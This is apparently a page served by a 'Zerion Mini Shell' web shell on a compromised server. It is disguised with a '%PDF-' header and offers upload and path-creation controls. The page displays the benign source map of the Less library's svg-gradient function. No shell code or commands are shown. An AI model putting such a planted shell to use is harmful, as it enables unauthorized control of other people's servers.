%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/specpages-backup/node_modules/less/lib/less/functions/
Upload File :
Create Path :
Current File : //www/specpages-backup/node_modules/less/lib/less/functions/svg.js.map

{"version":3,"file":"svg.js","sourceRoot":"","sources":["../../../src/less/functions/svg.js"],"names":[],"mappings":";;;;;AAAA,gEAA0C;AAC1C,wDAAkC;AAClC,kEAA4C;AAC5C,0DAAoC;AACpC,oDAA8B;AAE9B,mBAAe,UAAA,WAAW;IACtB,OAAO,EAAE,cAAc,EAAE,UAAS,SAAS;YACvC,IAAI,KAAK,CAAC;YACV,IAAI,oBAAoB,CAAC;YACzB,IAAI,YAAY,GAAG,QAAQ,CAAC;YAC5B,IAAI,kBAAkB,GAAG,kCAAkC,CAAC;YAC5D,IAAM,SAAS,GAAG,EAAC,QAAQ,EAAE,KAAK,EAAC,CAAC;YACpC,IAAI,QAAQ,CAAC;YACb,IAAM,cAAc,GAAG,SAAS,CAAC,KAAK,CAAC,SAAS,CAAC,CAAC;YAClD,IAAI,CAAC,CAAC;YACN,IAAI,KAAK,CAAC;YACV,IAAI,QAAQ,CAAC;YACb,IAAI,aAAa,CAAC;YAClB,IAAI,KAAK,CAAC;YAEV,SAAS,uBAAuB;gBAC5B,MAAM,EAAE,IAAI,EAAE,UAAU;oBACpB,OAAO,EAAE,qFAAqF;wBAClF,oDAAoD,EAAE,CAAC;YAC3E,CAAC;YAED,IAAI,SAAS,CAAC,MAAM,IAAI,CAAC,EAAE;gBACvB,IAAI,SAAS,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,EAAE;oBAC/B,uBAAuB,EAAE,CAAC;iBAC7B;gBACD,KAAK,GAAG,SAAS,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC;aAC9B;iBAAM,IAAI,SAAS,CAAC,MAAM,GAAG,CAAC,EAAE;gBAC7B,uBAAuB,EAAE,CAAC;aAC7B;iBAAM;gBACH,KAAK,GAAG,KAAK,CAAC,SAAS,CAAC,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KAAK,CAAC,MAAM,CAAC,IAAI,QAAQ,KAAK,SAAS,CAAC,IAAI,CAAC,CAAC,QAAQ,YAAY,mBAAS,CAAC,CAAC,EAAE;oBACrI,uBAAuB,EAAE,CAAC;iBAC7B;gBACD,aAAa,GAAG,QAAQ,CAAC,CAAC,CAAC,QAAQ,CAAC,KAAK,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,MAAM,CAAC;gBAC/E,KAAK,GAAG,KAAK,CAAC,KAAK,CAAC;gBACpB,QAAQ,IAAI,oBAAiB,aAAa,wBAAiB,KAAK,CAAC,KAAK,EAAE,WAAI,KAAK,GAAG,CAAC,CAAC,CAAC,CAAC,qBAAkB,KAAK,OAAG,CAAC,CAAC,CAAC,EAAE,QAAI,CAAC;aAC/H;YACD,QAAQ,IAAI,OAAK,YAAY,uBAAkB,kBAAkB,+BAA0B,CAAC;YAE5F,QAAQ,GAAG,kBAAkB,CAAC,QAAQ,CAAC,CAAC;YAExC,QAAQ,GAAG,wBAAsB,QAAU,CAAC;YAC5C,OAAO,IAAI,aAAG,CAAC,IAAI,gBAAM,CAAC,MAAI,QAAQ,MAAG,EAAE,QAAQ,EAAE,KAAK,EAAE,IAAI,CAAC,KAAK,EAAE,IAAI,CAAC,eAAe,CAAC,EAAE,IAAI,CAAC,KAAK,EAAE,IAAI,CAAC,eAAe,CAAC,CAAC;QACrI,CAAC,EAAC,CAAC;AACP,CAAC,EAAC","sourcesContent":["import Dimension from '../tree/dimension';\nimport Color from '../tree/color';\nimport Expression from '../tree/expression';\nimport Quoted from '../tree/quoted';\nimport URL from '../tree/url';\n\nexport default environment => {\n    return { 'svg-gradient': function(direction) {\n        let stops;\n        let gradientDirectionSvg;\n        let gradientType = 'linear';\n        let rectangleDimension = 'x=\"0\" y=\"0\" width=\"1\" height=\"1\"';\n        const renderEnv = {compress: false};\n        let returner;\n        const directionValue = direction.toCSS(renderEnv);\n        let i;\n        let color;\n        let position;\n        let positionValue;\n        let alpha;\n\n        function throwArgumentDescriptor() {\n            throw { type: 'Argument',\n                message: 'svg-gradient expects direction, start_color [start_position], [color position,]...,' +\n                            ' end_color [end_position] or direction, color list' };\n        }\n\n        if (arguments.length == 2) {\n            if (arguments[1].value.length < 2) {\n                throwArgumentDescriptor();\n            }\n            stops = arguments[1].value;\n        } else if (arguments.length < 3) {\n            throwArgumentDescriptor();\n        } else {\n            stops = Array.prototype.slice.call(arguments, 1);\n        }\n\n        switch (directionValue) {\n            case 'to bottom':\n                gradientDirectionSvg = 'x1=\"0%\" y1=\"0%\" x2=\"0%\" y2=\"100%\"';\n                break;\n            case 'to right':\n                gradientDirectionSvg = 'x1=\"0%\" y1=\"0%\" x2=\"100%\" y2=\"0%\"';\n                break;\n            case 'to bottom right':\n                gradientDirectionSvg = 'x1=\"0%\" y1=\"0%\" x2=\"100%\" y2=\"100%\"';\n                break;\n            case 'to top right':\n                gradientDirectionSvg = 'x1=\"0%\" y1=\"100%\" x2=\"100%\" y2=\"0%\"';\n                break;\n            case 'ellipse':\n            case 'ellipse at center':\n                gradientType = 'radial';\n                gradientDirectionSvg = 'cx=\"50%\" cy=\"50%\" r=\"75%\"';\n                rectangleDimension = 'x=\"-50\" y=\"-50\" width=\"101\" height=\"101\"';\n                break;\n            default:\n                throw { type: 'Argument', message: 'svg-gradient direction must be \\'to bottom\\', \\'to right\\',' +\n                    ' \\'to bottom right\\', \\'to top right\\' or \\'ellipse at center\\'' };\n        }\n        returner = `<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 1 1\"><${gradientType}Gradient id=\"g\" ${gradientDirectionSvg}>`;\n\n        for (i = 0; i < stops.length; i += 1) {\n            if (stops[i] instanceof Expression) {\n                color = stops[i].value[0];\n                position = stops[i].value[1];\n            } else {\n                color = stops[i];\n                position = undefined;\n            }\n\n            if (!(color instanceof Color) || (!((i === 0 || i + 1 === stops.length) && position === undefined) && !(position instanceof Dimension))) {\n                throwArgumentDescriptor();\n            }\n            positionValue = position ? position.toCSS(renderEnv) : i === 0 ? '0%' : '100%';\n            alpha = color.alpha;\n            returner += `<stop offset=\"${positionValue}\" stop-color=\"${color.toRGB()}\"${alpha < 1 ? ` stop-opacity=\"${alpha}\"` : ''}/>`;\n        }\n        returner += `</${gradientType}Gradient><rect ${rectangleDimension} fill=\"url(#g)\" /></svg>`;\n\n        returner = encodeURIComponent(returner);\n\n        returner = `data:image/svg+xml,${returner}`;\n        return new URL(new Quoted(`'${returner}'`, returner, false, this.index, this.currentFileInfo), this.index, this.currentFileInfo);\n    }};\n};\n"]}

Zerion Mini Shell 1.0